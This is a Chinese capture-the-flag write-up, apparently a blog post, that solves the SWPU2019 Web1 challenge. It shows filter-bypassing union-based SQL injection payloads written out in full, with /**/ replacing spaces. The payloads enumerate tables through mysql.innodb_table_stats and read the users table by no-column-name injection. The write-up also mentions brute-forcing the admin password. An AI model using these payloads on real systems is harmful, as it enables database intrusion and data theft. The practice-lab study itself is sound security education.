[SWPU2019]Web1 二次注入+无列名注入

上来看到两个功能,登录和注册,看到登录框直接sqlmap嗦一下

失败

注册admin显示被注册,那就注册一个账密都为aaa

登录进来发现两个功能点

发了一个广告却显示代管理确认,这里肯定没有管理员,所以我们得想办法自己上去admin账户,应该可以传个webshell上来自己确认

然而,我把注册登录的数据包找遍了都没找到任何与权限相关的东西,只有个随机生成的td_cookie,没什么用。爆破了一下admin的密码还是无所获

看样子可能还是sql注入,找找注入点吧

点击这个进去发现一个id,经过一番尝试无任何回显

那就只有最后一个功能点广告申请了,抓包试试

加个单引号没报错,但当我输入1' order by 1--在title里面时保敏感词汇了,找到注入点了!

弹敏感词汇我们先试试看看过滤的什么东西

最终我发现了过滤了or # --+  --和空格

尝试取反也无法绕过or

过滤or的话可以使用-1 union select 1,2,3,...n 来试试,如果列数不相符也会报错

使用下面这个python脚本生成一个字典进行爆破

my_dict = {}
for i in range(1, 31):
    my_dict[i] = ",".join(str(x) for x in range(1, i+1))

for key, value in my_dict.items():
    print(key, value)

过滤空格可以使用/**/   ()  /  %20  + 等来进行拼接,构造payload:-1'/**/union/**/select/**/n

爆破需要分批,广告数量有限制,这玩意还需要自己点进去看!

到23时报错不同列数说明查询列数为22,你们直接拿这个下面这个试吧,太麻烦!

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

根据22的广告发现回显位数为2和3

构造payload:

-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

库名就为web1

普通的payload是从INFORMATION_SCHEMA.SCHEMATA里面查,但是这里限制了我们对这张表进行访问,无法通过这张表查询数据

下面内容来自这篇文章用innodb_index_stats和innodb_table_stats查找表名_dios mysql-CSDN博客

在MySQL 5.6及更高版本中,我注意到InnoDB创建了2个新表。“ innodb_index_stats”和“ innodb_table_stats”。这两个表都包含所有新创建的数据库和表的数据库和表名

不过InnoDB不存储列,并且存放表的字段名为table_name

更新后的payload:

-1'/**/union/**/select/**/1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'

成功查到表名为ads,users

这里ads多半是存放广告数据的表,我们直接看users表

因为系统表被禁掉加上上面两张表不存放column,我们这里采用无列名注入不查询列名直接拿数据

内查询的结果需要一个别名

构造payload:-1'/**/union/**/select/**/1,(select/**/group_concat(c)/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b,3/**/as/**/c/**/union/**/select/**/*/**/from/**/users)/**/as/**/d),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

不要其他列的别名的话查询第几列的结果需要用``包裹

这个payload:-1'/**/union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)/**/as/**/d),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

也是可以的

得到flag

  • 11
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值